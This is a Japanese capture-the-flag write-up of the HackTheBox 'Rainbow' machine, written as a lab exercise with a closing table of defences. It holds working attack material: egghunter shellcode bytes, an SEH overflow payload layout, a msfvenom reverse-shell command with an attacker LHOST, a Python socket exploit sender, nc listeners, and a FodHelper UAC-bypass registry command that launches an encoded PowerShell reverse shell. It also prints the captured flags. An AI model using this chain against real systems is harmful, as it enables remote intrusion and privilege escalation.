HackTheBox: Rainbow — 全実行コマンド・実行結果レポート
Nmap スキャン
21/80/135/139/445/3389/8080
→
21/80/135/139/445/3389/8080
FTP匿名ログイン
rainbow.exe / dev.txt / restart.ps1
→
rainbow.exe / dev.txt / restart.ps1
SEH BOF 解析
offset=660, POP POP RET
→
offset=660, POP POP RET
egghunter + shellcode
msfvenom shell_reverse_tcp
→
msfvenom shell_reverse_tcp
rainbow シェル取得
user.txt ✓
→
user.txt ✓
BUILTIN\Administrators
whoami /all で判明
→
whoami /all で判明
FodHelper UACバイパス
HKCU ms-settings レジストリ
→
HKCU ms-settings レジストリ
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(主要ポート → 全ポート)
BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,... -T4 --max-retries 3 10.129.234.171
RESULT
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 3.86 seconds
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.234.171
RESULT
追加で 49668/tcp open msrpc を検出(全8ポート)
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 21,80,135,139,445,3389,8080,49668 10.129.234.171
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 01-18-22 08:22AM 258 dev.txt | 01-18-22 08:30AM 54784 rainbow.exe | 01-16-22 01:34PM 479 restart.ps1 |_01-16-22 12:14PM <DIR> wwwroot 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: RAINBOW | NetBIOS_Domain_Name: RAINBOW | DNS_Domain_Name: rainbow | Product_Version: 10.0.17763 8080/tcp open http-proxy | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 200 OK | Cache-Control: no-cache, private | Content-Type: text/html | X-Powered-By: Rainbow 0.1 | <title>Dev Wiki powered by Rainbow Webserver</title> 49668/tcp open msrpc Microsoft Windows RPC
🚨
重要発見: ポート 21 で FTP匿名ログイン許可、ポート 8080 に
X-Powered-By: Rainbow 0.1 というカスタム自作Webサーバーが稼働している。
Product_Version 10.0.17763 = Windows Server 2019。
PHASE 2
FTP匿名ログイン調査 — rainbow.exe / dev.txt / restart.ps1
FTPで匿名ログインし4ファイルを取得
BASH
ftp 10.129.234.171 # Name: anonymous / Password: (空でも可) ftp> ls ftp> binary ftp> get dev.txt ftp> get rainbow.exe ftp> get restart.ps1 ftp> ls wwwroot ftp> get wwwroot/index.html # まとめて取得する場合 wget -m ftp://anonymous:anonymous@10.129.234.171/
RESULT
220 Microsoft FTP Service 331 Anonymous access allowed, send identity (e-mail name) as password. 230 User logged in. 01-18-22 08:22AM 258 dev.txt 01-18-22 08:30AM 54784 rainbow.exe 01-16-22 01:34PM 479 restart.ps1 01-16-22 12:14PM <DIR> wwwroot (wwwroot 内: index.html 1523 bytes — ポート8080の index ページと同一)
⚠️
バイナリファイル(rainbow.exe)を取得する際は
binary モードへの切り替えを忘れないこと
(ASCIIモードのままだと実行ファイルが破損する)。
dev.txt — 開発チームのメモ
RESULT (dev.txt)
* Our webserver has been crashing a lot lately. Instead of touching the code we added a restart script! * The server will dynamically pick a port when its default port is unresponsive (8080-8090). * We'll fix this later by adding load balancer. - dev team
ℹ️
重要な手掛かり: Webサーバー(rainbow.exe)はクラッシュしやすいことが公式に認められている。
SEH BOF でクラッシュさせても、監視スクリプトが自動再起動してくれる。ただし
デフォルトポート8080が応答不能な場合、8080〜8090の空きポートへ動的に移る点に注意。
restart.ps1 — 監視・自動再起動スクリプト
RESULT (restart.ps1)
Set-Location -Path c:\rainbow
for (;;) {
try {
If (!(Get-Process -Name rainbow -ErrorAction SilentlyContinue)) {
Invoke-Expression "C:\rainbow\rainbow.exe"
}
$proc = Get-Process -Name rainbow | Sort-Object -Property ProcessName -Unique -ErrorAction SilentlyContinue
If (!$proc -or ($proc.Responding -eq $false) -or ($proc.WorkingSet -GT 200000*1024)) {
$proc.Kill()
Start-Sleep -s 10
Invoke-Expression "C:\rainbow\rainbow.exe"
}
} catch {}
Start-Sleep -s 30
}
ℹ️
プロセスが存在しない・応答しない・メモリが200MBを超えた場合に強制終了→10秒待機→再起動、を30秒間隔でループする。
つまり BOFでクラッシュさせても最大30〜40秒程度でサーバーが復活するため、繰り返しの試行が可能。
rainbow.exe — バイナリの基本情報
BASH
file rainbow.exe
RESULT
rainbow.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections
ℹ️
32bit (x86) バイナリ。後の権限昇格フェーズで、このプロセスから取得するシェルが
WOW64(32bit互換モード)で動作する点が重要になる。
PHASE 3
SEHベース・バッファオーバーフローの解析
クラッシュの確認とオフセット特定
NOTE
rainbow.exe (ポート8080) へ大きな POST ボディを送るとクラッシュする。
x32dbg/x64dbg でアタッチし、パターン文字列(De Bruijn列、pattern_create等で生成)
を送信してクラッシュ位置を観察する。
デバッガでの解析結果:
- SEH(構造化例外処理)チェーンのハンドラアドレスが、送信したパターン中の
4バイトで上書きされていることを確認 → SEHベースのオーバーフロー
- パターンのオフセットを特定した結果: offset = 660 バイト
(先頭から660バイト目でハンドラが上書きされる)
SEH上書きの定石: ハンドラアドレスに "POP POP RET" ガジェットを指定すると、
例外発生時にそのガジェットが実行され、次に控えている NSEH(Next SEH)の
4バイトへ実行が移る。これを利用して、NSEHに"短い後方ジャンプ"命令を置き、
シェルコード本体へ制御を移す、という古典的な手法が使える。
POP POP RET ガジェットの検索
NOTE
rainbow.exe 自身のモジュール内(ASLR / DEP 非対応であることが多い自作バイナリ)
から POP/POP/RET ガジェットを検索する(ERC.Xdbg や mona.py 等のツールを使用)。
固定アドレスとして次の値が確認できる(本バイナリは全インスタンス共通のため
再利用可能な確定値):
SEH 上書き値 = 0x004094d8 (rainbow.exe モジュール内 POP ECX; POP ECX; RET)
後方ジャンプの計算(NSEH は4バイトしかない)
NOTE
NSEH は4バイトしかないため、660バイト全体を一度に戻るジャンプ命令は入らない
(5バイト jmp 命令が必要)。そこで2段階ジャンプを使う:
1. NSEH (4バイト) に "jmp short -8" (EB F6) を置く
→ 8バイト前方(実際はコード上は "後方")に着地
2. その8バイト手前に "jmp -652" (E9 6F FD FF FF, 5バイト+パディング3バイト)
を仕込んでおく
3. 合計 8 + 652 = 660 バイト戻ることになり、バッファ先頭付近の
NOPスレッド → シェルコードへ着地する
本レポートでは、この2段ジャンプの代わりに egghunter 方式を採用する:
NSEH には短い後方ジャンプ (EB 80 90 90) のみを置き、バッファ中盤の
NOPスレッド上で egghunter コードを実行、egghunter が目印タグ ("w00tw00t")
を目印にメモリ上を検索して本体のシェルコードを発見・実行する。
オフセット計算の手間を減らせるため、汎用的なペイロード構築に向いている。
ペイロード全体構成(900バイト固定長)
PYTHON (ペイロード構造)
# [NOP*10] + [タグ "w00tw00t"] + [シェルコード] + [NOP*200] + [egghunter]
# + ['A' 埋め] + [NSEH: EB 80 90 90] + [SEH: 0x004094d8] + ['D' 埋め]
# 合計 900 バイト固定
TAG = b"w00tw00t" # egghunter が探す目印
NSEH = b"\xEB\x80\x90\x90" # 短い後方ジャンプ → NOPスレッドへ着地
SEH = 0x004094D8 # POP ECX; POP ECX; RET ガジェット
OFFSET = 660 # SEH上書きまでのバイト数
TOTAL = 900 # POSTボディ総サイズ
# egghunter は mona (-wow64 -winver 10) で生成した51バイトの汎用コード
EGGHUNTER = (
b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
b"\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75"
b"\xd7\xff\xe7"
)
ℹ️
WOW64(32bit)プロセスをターゲットにした egghunter を使う場合、生成オプションに
-wow64 を指定する必要がある点に注意(64bit版と32bit版でシステムコール番号が異なるため)。
PHASE 4
エクスプロイト実行 & user.txt 取得
msfvenom でリバースシェル shellcode を生成
BASH
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp \ LHOST=10.10.15.201 LPORT=4444 EXITFUNC=thread \ -b '\x00\x0a\x0d' -f raw -o rainbow_revshell_4444.bin
RESULT
shellcode 生成完了: 351 bytes
(bad chars \x00\x0a\x0d を除外 — HTTPボディ/行末処理で化ける文字を回避)
稼働ポートの確認(8080-8090 を走査)
BASH
for p in 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090; do
code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.129.234.171:$p/")
[ "$code" != "000" ] && echo "port $p: $code"
done
RESULT
port 8080: 200 ← 現在この番号で稼働中
ℹ️
dev.txt の記述通り、以前のクラッシュ試行でポートが8081以降に移っていることがある。
エクスプロイト直前に必ず現在の稼働ポートを確認すること。
リスナー起動 & BOFペイロード送信(生ソケット使用)
BASH
# ターミナル1: リバースシェル用リスナー nc -lnvp 4444
PYTHON (ペイロード送信)
import socket
body = build_payload(shellcode) # Phase 3-4 の900バイトペイロード
req = b"POST / HTTP/1.1\r\n"
req += b"Host: 10.129.234.171:8080\r\n"
req += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n"
req += b"Content-Type: application/x-www-form-urlencoded\r\n"
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n"
req += body
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(("10.129.234.171", 8080))
s.send(req)
⚠️
ペイロードはバイナリ(NULL以外の制御文字含む)のため、
curl ではなく
生ソケットで送信する。改行コードの正規化などで shellcode が壊れることを防ぐため。
シェル接続確認
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.234.171] 50291 Microsoft Windows [Version 10.0.17763.7434] (c) 2018 Microsoft Corporation. All rights reserved. C:\rainbow>whoami rainbow\rainbow
✅
シェル取得成功! egghunter がタグ “w00tw00t” を発見し shellcode へジャンプ、
rainbow\rainbow ユーザーとしてリバースシェルが確立した。
user.txt 取得
BASH
C:\rainbow>type C:\Users\rainbow\Desktop\user.txt
RESULT
c6b3e638be4ae18c5f05b71b49c9716e
user.txt — rainbow\rainbow
c6b3e638be4ae18c5f05b71b49c9716e
PHASE 5
権限昇格の下調べ — グループメンバーシップ確認
whoami /all でグループ・権限を確認
BASH
C:\rainbow>whoami /all
RESULT
GROUP INFORMATION
------------------
Group Name Type SID
====================================== ================ ==============
Everyone Well-known group S-1-1-0
BUILTIN\Administrators Alias S-1-5-32-544 Enabled group
BUILTIN\Users Alias S-1-5-32-545
...
🚨
重大発見:
rainbow ユーザーは BUILTIN\Administrators
グループのメンバー。つまり本来は管理者権限を持っているが、UAC (User Account Control)
がフルアクセスを妨げている状態。UACバイパスさえ行えば root.txt に到達できる。
UACバイパス手法の選定 — FodHelper
NOTE
fodhelper.exe(Windows機能の追加画面を開く実行ファイル)は、
マニフェストで "autoElevate=true" が指定された既知の自動昇格バイナリ。
実行時に "ms-settings:" プロトコルハンドラを内部的に呼び出す際、
レジストリ HKCU(現在のユーザー権限で書き込み可能)を先に参照してしまう
実装上の不備があり、以下のキーを事前に仕込んでおくことで、
UACの同意画面を一切表示せずに任意コマンドを高い整合性レベルで実行できる。
HKCU\Software\Classes\ms-settings\Shell\Open\command
(default) = 実行したいコマンド
DelegateExecute = "" (空文字列)
rainbow.exe は32bit(WOW64)プロセスのため、取得したシェルもWOW64。
WOW64プロセスから "C:\Windows\System32\fodhelper.exe" を指定すると、
Windows-on-Windows のファイルシステムリダイレクタにより実体は
"C:\Windows\SysWOW64\fodhelper.exe" に読み替えられてしまう。
32bit版の fodhelper.exe は存在しない(または挙動が異なる)ため、
リダイレクトを回避する特殊パス "C:\Windows\Sysnative\fodhelper.exe"
を使って本来の64bit版を明示的に呼び出す必要がある。
PHASE 6
FodHelper UACバイパス → root.txt
レジストリキーの設置
BASH
C:\rainbow>powershell -nop -c "New-Item -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Force | Out-Null; New-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name DelegateExecute -Value '' -PropertyType String -Force | Out-Null; Set-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(default)' -Value '<PowerShell中継シェルwan-liner (-enc base64)>' -Force"
C:\rainbow>reg query "HKCU\Software\Classes\ms-settings\Shell\Open\command"
RESULT
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command
(既定) REG_SZ powershell.exe -nop -w hidden -enc <...>
DelegateExecute REG_SZ
✅
設置確認OK。
(default) の値には、Kaliへ接続し
cmd.exe の入出力をTCPソケット経由で中継する PowerShellワンライナー
(-enc base64エンコード済み)を仕込んでいる。
昇格用リスナー起動 & fodhelper.exe 起動
BASH
# ターミナル2: 昇格シェル用リスナー(別ポート) nc -lnvp 4445 # 既存の rainbow シェルから Sysnative 経由で fodhelper.exe を直接実行 # (PowerShell の Start-Process は使わない — 下記トラブルシューティング参照) C:\rainbow>C:\Windows\Sysnative\fodhelper.exe
RESULT (nc :4445 リスナー側)
listening on [any] 4445 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.234.171] 51090 Microsoft Windows [Version 10.0.17763.7434] C:\rainbow>whoami rainbow\rainbow C:\rainbow>whoami /priv | findstr SeDebugPrivilege SeDebugPrivilege Debug programs Enabled
✅
UACバイパス成功! ユーザーは変わらず
rainbow\rainbow のままだが、
SeDebugPrivilege などの特権が Enabled になっており、フル整合性レベル(管理者権限)
で動作している(UACの同意画面は一切表示されなかった)。
トラブルシューティング: PowerShell Start-Process は使わない
NOTE
本検証では、当初 fodhelper.exe の起動に以下のコマンドを使用していた: powershell -nop -c "Start-Process 'C:\Windows\Sysnative\fodhelper.exe' -WindowStyle Hidden" しかし実行すると毎回下記のエラーで失敗し、昇格シェルへの接続が一切来なかった: Start-Process : This command cannot be executed due to the error: ... + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOperationException + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand 原因: SEH BOFで得られるリバースシェル (windows/shell_reverse_tcp) は 対話デスクトップ/ウィンドウステーションを持たない非対話プロセスであり、 PowerShellの Start-Process コマンドレットは内部的に新規プロセスへの ウィンドウステーションアクセスを試みるため、この環境では失敗する。 対策: 既に cmd.exe のリバースシェル内にいるのだから、PowerShellの Start-Process を経由する必要はそもそも無い。cmd.exe から "C:\Windows\Sysnative\fodhelper.exe" を直接タイプするだけでよい (上記 6-2 のコマンドが対策後の正しい実行方法)。 この問題は Start-Process のような GUI 前提の cmdlet を非対話シェルから 呼び出す際に一般的に起こりうるため、可能な限り cmd.exe/PowerShell から バイナリを直接呼び出すのが安全。
⚠️
同様の理由で、まず
C:\Windows\Sysnative\fodhelper.exe(WOW64リダイレクト回避パス)で試し、
万一昇格シェルが返ってこない場合は C:\Windows\System32\fodhelper.exe でも再試行するとよい。
root.txt 取得
BASH
C:\rainbow>type C:\Users\Administrator\Desktop\root.txt
RESULT
df6d3f644ad91c731a1190485134ca2c
root.txt — Administrator@rainbow
df6d3f644ad91c731a1190485134ca2c
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — rainbow\rainbow
c6b3e638be4ae18c5f05b71b49c9716e
root.txt — Administrator@rainbow
df6d3f644ad91c731a1190485134ca2c
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス | Microsoft ftpd | 内部ファイル・バイナリの漏洩 | Medium | 認証なしで rainbow.exe / dev.txt / restart.ps1 を取得し、内部構成・再起動挙動を把握 |
| SEHベース BOF | rainbow.exe (カスタムWebサーバー, 8080-8090) | リモートコード実行(一般ユーザー) | Critical | offset=660 の大きなPOSTボディでSEH上書き、POP/POP/RETガジェット+egghunterでshellcode実行 |
| FodHelper UACバイパス | fodhelper.exe (Windows標準機能) | 権限昇格 (Administrators整合性) | High | HKCU\…\ms-settings\Shell\Open\command の DelegateExecute 悪用でUAC同意なしにコマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 21/80/135/139/445/3389/8080/49668、カスタムWebサーバー検出 |
| 2 | FTP調査 | 匿名ログイン + ファイル取得 | rainbow.exe(32bit)、再起動挙動、動的ポート仕様 |
| 3 | BOF解析 | x32dbg/x64dbg + パターン送信 | offset=660、POP POP RETガジェット 0x004094d8 |
| 4 | エクスプロイト | msfvenom shellcode + egghunter + 生ソケットPOST | user.txt 取得(rainbow\rainbow シェル) |
| 5 | 権限調査 | whoami /all | BUILTIN\Administrators 所属を確認 |
| 6 | UACバイパス | FodHelper (HKCU ms-settings) + cmd.exe直接実行 | root.txt 取得(フル権限シェル) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FTPサーバーの匿名ログインが有効 | 本番環境ではFTP匿名アクセスを無効化する。内部開発メモや実行ファイルを公開領域に置かない。 |
| 自作Webサーバー(rainbow.exe)にメモリ破壊脆弱性(SEH BOF)が存在 | 入力長のバリデーション、安全な文字列/バッファ処理関数の使用、コンパイル時の /GS・/SAFESEH・ASLR・DEP有効化。クラッシュを「再起動すればよい」で済ませず、根本原因を修正する。 |
| 一般ユーザーが不要に BUILTIN\Administrators に所属している | 最小権限の原則を徹底し、サービス実行アカウントを管理者グループに含めない。 |
| FodHelper UACバイパス(既知の手法、Windows 10/2016以降で長年報告されている) | UACを「常に通知する」最高レベルに設定し、Admin Approval Modeの制限を強化。EDR/Sysmonで HKCU\...\ms-settings レジストリキーの作成・fodhelper.exeの異常な子プロセス生成を監視する。 |

